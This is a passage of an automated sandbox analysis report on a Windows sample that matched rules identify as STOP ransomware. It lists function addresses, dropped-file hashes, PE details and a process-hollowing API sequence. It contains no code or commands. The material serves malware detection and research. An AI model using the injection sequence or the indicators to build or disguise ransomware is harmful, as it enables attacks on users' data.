Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026A0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	11_2_026A0110

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_02737220	0_2_02737220
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_027B22C0	0_2_027B22C0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0277E37C	0_2_0277E37C
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_02737393	0_2_02737393
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0274F030	0_2_0274F030
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0273A026	0_2_0273A026
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0273B000	0_2_0273B000
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_027330F0	0_2_027330F0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_027370E0	0_2_027370E0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_027400D0	0_2_027400D0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0273B0B0	0_2_0273B0B0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0277E141	0_2_0277E141
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_02739120	0_2_02739120
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0275D1A4	0_2_0275D1A4
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0273E6E0	0_2_0273E6E0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0277B69F	0_2_0277B69F
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0273A699	0_2_0273A699
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0273C760	0_2_0273C760
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0275D7F1	0_2_0275D7F1
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0273A79A	0_2_0273A79A
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_02733520	0_2_02733520
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_02737520	0_2_02737520
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0273CA10	0_2_0273CA10
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_02737A80	0_2_02737A80
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_02732B60	0_2_02732B60
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_02740B00	0_2_02740B00
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0273DBE0	0_2_0273DBE0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_027518D0	0_2_027518D0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_02737880	0_2_02737880
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0274A930	0_2_0274A930
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0273A916	0_2_0273A916
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_027359F7	0_2_027359F7
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_027389D0	0_2_027389D0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0275F9B0	0_2_0275F9B0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0275E9A3	0_2_0275E9A3
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_02738E60	0_2_02738E60
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_02764E9F	0_2_02764E9F
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_02772D1E	0_2_02772D1E
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_02735DF7	0_2_02735DF7
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_02735DE7	0_2_02735DE7
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0040D240	7_2_0040D240
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00419F90	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0040C070	7_2_0040C070
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0042E003	7_2_0042E003
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00408030	7_2_00408030
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00410160	7_2_00410160
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_004C8113	7_2_004C8113
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_004021C0	7_2_004021C0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0044237E	7_2_0044237E
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_004084C0	7_2_004084C0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_004344FF	7_2_004344FF
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0043E5A3	7_2_0043E5A3
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0040A660	7_2_0040A660
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0041E690	7_2_0041E690
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00406740	7_2_00406740
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00402750	7_2_00402750
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0040A710	7_2_0040A710
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00408780	7_2_00408780
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0042C804	7_2_0042C804
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00406880	7_2_00406880
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_004349F3	7_2_004349F3
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_004069F3	7_2_004069F3
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00402B80	7_2_00402B80
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00406B80	7_2_00406B80
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0044ACFF	7_2_0044ACFF
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0042CE51	7_2_0042CE51
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00434E0B	7_2_00434E0B
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00406EE0	7_2_00406EE0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00420F30	7_2_00420F30
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00405057	7_2_00405057
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0042F010	7_2_0042F010
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_004070E0	7_2_004070E0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_004391F6	7_2_004391F6
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00435240	7_2_00435240
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00405447	7_2_00405447
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00405457	7_2_00405457
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00449506	7_2_00449506
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0044B5B1	7_2_0044B5B1
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00435675	7_2_00435675
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00409686	7_2_00409686
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0040F730	7_2_0040F730
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0044D7A1	7_2_0044D7A1
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00481920	7_2_00481920
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0044D9DC	7_2_0044D9DC
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00449A71	7_2_00449A71
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00443B40	7_2_00443B40
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00409CF9	7_2_00409CF9
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0040DD40	7_2_0040DD40
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00427D6C	7_2_00427D6C
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0040BDC0	7_2_0040BDC0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00409DFA	7_2_00409DFA
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00409F76	7_2_00409F76
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00449FE3	7_2_00449FE3
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_028D22C0	10_2_028D22C0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_02857220	10_2_02857220
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_02857393	10_2_02857393
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0289E37C	10_2_0289E37C
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0285B0B0	10_2_0285B0B0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_028600D0	10_2_028600D0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_028570E0	10_2_028570E0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_028530F0	10_2_028530F0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0285B000	10_2_0285B000
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0285A026	10_2_0285A026
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0286F030	10_2_0286F030
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0287D1A4	10_2_0287D1A4
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_02859120	10_2_02859120
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0289E141	10_2_0289E141
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0289B69F	10_2_0289B69F
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0285A699	10_2_0285A699
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0285E6E0	10_2_0285E6E0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0285A79A	10_2_0285A79A
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0287D7F1	10_2_0287D7F1
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0285C760	10_2_0285C760
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_02853520	10_2_02853520
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_02857520	10_2_02857520
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_02857A80	10_2_02857A80
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0285CA10	10_2_0285CA10
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0285DBE0	10_2_0285DBE0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_02860B00	10_2_02860B00
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_02852B60	10_2_02852B60
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_02857880	10_2_02857880
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_028718D0	10_2_028718D0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0287E9A3	10_2_0287E9A3
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0287F9B0	10_2_0287F9B0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_028589D0	10_2_028589D0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_028559F7	10_2_028559F7
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0285A916	10_2_0285A916
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_0286A930	10_2_0286A930
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_02884E9F	10_2_02884E9F
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_02858E60	10_2_02858E60
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_02855DE7	10_2_02855DE7
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_02855DF7	10_2_02855DF7
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_02892D1E	10_2_02892D1E
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026A7220	11_2_026A7220
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_027222C0	11_2_027222C0
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026EE37C	11_2_026EE37C
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026A7393	11_2_026A7393
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026AA026	11_2_026AA026
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026BF030	11_2_026BF030
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026AB000	11_2_026AB000
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026A70E0	11_2_026A70E0
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026A30F0	11_2_026A30F0
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026B00D0	11_2_026B00D0
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026AB0B0	11_2_026AB0B0
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026EE141	11_2_026EE141
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026A9120	11_2_026A9120
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026CD1A4	11_2_026CD1A4
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026AE6E0	11_2_026AE6E0
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026EB69F	11_2_026EB69F
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026AA699	11_2_026AA699
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026AC760	11_2_026AC760
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026CD7F1	11_2_026CD7F1
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026AA79A	11_2_026AA79A
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026A3520	11_2_026A3520
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026A7520	11_2_026A7520
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026ACA10	11_2_026ACA10
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026A7A80	11_2_026A7A80
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026A2B60	11_2_026A2B60
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026B0B00	11_2_026B0B00
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026ADBE0	11_2_026ADBE0
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026C18D0	11_2_026C18D0
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026A7880	11_2_026A7880
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026BA930	11_2_026BA930
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026AA916	11_2_026AA916
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026A59F7	11_2_026A59F7
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026A89D0	11_2_026A89D0
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026CE9A3	11_2_026CE9A3
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026CF9B0	11_2_026CF9B0
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026A8E60	11_2_026A8E60
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026D4E9F	11_2_026D4E9F
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026E2D1E	11_2_026E2D1E
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026A5DE7	11_2_026A5DE7
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026A5DF7	11_2_026A5DF7

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe 26BD4A40D12D5483B5CF8A0A2DB0DDDB151B0B3206079DCF2782834482A2C3B7
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\sqlite3[1].dll 4841020C8BD06B08FDE6E44CBE2E2AB33439E1C8368E936EC5B00DC0584F7260

Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: String function: 026C8EC0 appears 57 times
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: String function: 026D0160 appears 50 times
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: String function: 02880160 appears 50 times
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: String function: 00428C81 appears 42 times
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: String function: 02760160 appears 50 times
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: String function: 02758EC0 appears 57 times
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: String function: 004547A0 appears 75 times
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: String function: 0042F7C0 appears 71 times
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: String function: 0044F23E appears 53 times
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: String function: 00428520 appears 77 times
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: String function: 00454E50 appears 31 times
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: String function: 02878EC0 appears 57 times

Source: sqlite3[1].dll.21.dr

Static PE information: Number of sections : 18 > 10

Source: kOVwcHSfrR.exe, 00000000.00000002.1274879333.00000000008C3000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameLariauts> vs kOVwcHSfrR.exe
Source: kOVwcHSfrR.exe, 00000007.00000003.1290381811.00000000030B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLariauts> vs kOVwcHSfrR.exe
Source: kOVwcHSfrR.exe, 00000007.00000000.1273957267.00000000008C3000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameLariauts> vs kOVwcHSfrR.exe
Source: kOVwcHSfrR.exe, 0000000A.00000000.1293230759.00000000008C3000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameLariauts> vs kOVwcHSfrR.exe
Source: kOVwcHSfrR.exe, 0000000B.00000000.1306701124.00000000008C3000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameLariauts> vs kOVwcHSfrR.exe
Source: kOVwcHSfrR.exe, 0000000C.00000000.1324884360.00000000008C3000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameLariauts> vs kOVwcHSfrR.exe
Source: kOVwcHSfrR.exe, 0000000D.00000000.1344845045.00000000008C3000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameLariauts> vs kOVwcHSfrR.exe
Source: kOVwcHSfrR.exe, 0000000E.00000002.1442105793.00000000008C3000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameLariauts> vs kOVwcHSfrR.exe
Source: kOVwcHSfrR.exe, 00000011.00000000.1439486417.00000000008C3000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameLariauts> vs kOVwcHSfrR.exe
Source: kOVwcHSfrR.exe, 00000013.00000002.1513995287.00000000008C3000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameLariauts> vs kOVwcHSfrR.exe
Source: kOVwcHSfrR.exe, 00000014.00000000.1510009469.00000000008C3000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameLariauts> vs kOVwcHSfrR.exe
Source: kOVwcHSfrR.exe	Binary or memory string: OriginalFilenameLariauts> vs kOVwcHSfrR.exe
Source: kOVwcHSfrR.exe.7.dr	Binary or memory string: OriginalFilenameLariauts> vs kOVwcHSfrR.exe

Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe

Section loaded: nss3.dll

Source: kOVwcHSfrR.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 19.2.kOVwcHSfrR.exe.26c15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.kOVwcHSfrR.exe.26c15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.kOVwcHSfrR.exe.26a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.kOVwcHSfrR.exe.26a15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
